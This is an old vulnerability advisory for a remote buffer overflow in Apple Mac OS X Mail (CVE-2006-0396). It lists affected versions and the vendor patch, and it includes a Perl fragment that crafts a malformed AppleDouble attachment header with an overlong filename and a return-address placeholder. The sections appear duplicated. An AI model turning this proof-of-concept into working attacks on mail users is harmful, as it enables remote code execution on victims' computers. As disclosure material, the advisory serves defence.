Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
BID:17081
Info
Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
| Bugtraq ID: | 17081 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2006-0396 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 13 2006 12:00AM |
| Updated: | Mar 15 2006 12:15PM |
| Credit: | Kevin Finisterre of DigitalMunition is credited with the discovery of this issue. |
| Vulnerable: |
Apple Mac OS X Server 10.4.5 Apple Mac OS X Server 10.4.4 Apple Mac OS X Server 10.4.3 Apple Mac OS X Server 10.4.2 Apple Mac OS X Server 10.4.1 Apple Mac OS X Server 10.4 Apple Mac OS X 10.4.5 Apple Mac OS X 10.4.4 Apple Mac OS X 10.4.3 Apple Mac OS X 10.4.2 Apple Mac OS X 10.4.1 Apple Mac OS X 10.4 |
| Not Vulnerable: | |
Discussion
Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
Mac OS X Mail is prone to a remote buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.
An attacker can exploit this issue to execute arbitrary attacker-supplied code in the context of Mail. A successful exploit may facilitate a compromise of the underlying computer.
This issue is present in Apple Mail when 'Security Update 2006-001' is applied.
Mac OS X Mail is prone to a remote buffer-overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before using it in a finite-sized buffer.
An attacker can exploit this issue to execute arbitrary attacker-supplied code in the context of Mail. A successful exploit may facilitate a compromise of the underlying computer.
This issue is present in Apple Mail when 'Security Update 2006-001' is applied.
Exploit / POC
Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
The following AppleDouble header Perl code segment will reportedly aid in creating a file capable of triggering this issue by crashing the vulnerable application:
"\x00\x05\x16\x07". # AppleDouble Magic Number
"\x00\x02\x00\x00". # Version 2
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16 Bytes of filler
"\x00\x03\x00\x00". # Number of entries (3)
"\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info'
"\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e
"\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10
"\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name'
"\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48
"\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245
"\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork'
"\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d
"\x05\x3a\x00\x00". # Length of Resource fork is 0x053a
"\x00\x00\x00\x00". # <null> filler
"\x00\x00\x00\x00". # <null> filler
"A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above.
An attachment with this AppleDouble header will reportedly appear with a filename of 'AAAAAAAAAAA...mov'.
A proof-of-concept Perl exploit designed to create and send email containing an attachment sufficient to crash Apple Mail is provided by Kevin Finisterre <[email protected]>.
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
The following AppleDouble header Perl code segment will reportedly aid in creating a file capable of triggering this issue by crashing the vulnerable application:
"\x00\x05\x16\x07". # AppleDouble Magic Number
"\x00\x02\x00\x00". # Version 2
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16 Bytes of filler
"\x00\x03\x00\x00". # Number of entries (3)
"\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info'
"\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e
"\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10
"\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name'
"\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48
"\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245
"\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork'
"\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d
"\x05\x3a\x00\x00". # Length of Resource fork is 0x053a
"\x00\x00\x00\x00". # <null> filler
"\x00\x00\x00\x00". # <null> filler
"A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above.
An attachment with this AppleDouble header will reportedly appear with a filename of 'AAAAAAAAAAA...mov'.
A proof-of-concept Perl exploit designed to create and send email containing an attachment sufficient to crash Apple Mail is provided by Kevin Finisterre <[email protected]>.
Solution / Fix
Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
Solution:
The vendor has released Security Update 2006-002 addressing this issue. Please see the referenced vendor advisory for information on obtaining and applying the appropriate updates.
Apple Mac OS X Server 10.4.5
Apple Mac OS X 10.4.5
Solution:
The vendor has released Security Update 2006-002 addressing this issue. Please see the referenced vendor advisory for information on obtaining and applying the appropriate updates.
Apple Mac OS X Server 10.4.5
-
Apple SecUpd2006-002Intel.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=09965&cat= 1&platform=osx&method=sa/SecUpd2006-002Intel.dmg -
Apple SecUpd2006-002Ti.dmg
http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=09964&cat= 1&platform=osx&method=sa/SecUpd2006-002Ti.dmg
Apple Mac OS X 10.4.5
References
Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
References:
References:
- Mac OS X Homepage (Apple)
- Security Update 2006-002 (Apple)
- DMA[2006-0313a] - 'Apple OSX Mail.app RFC1740 Real Name Buffer Overflow' ("KF \(lists\)"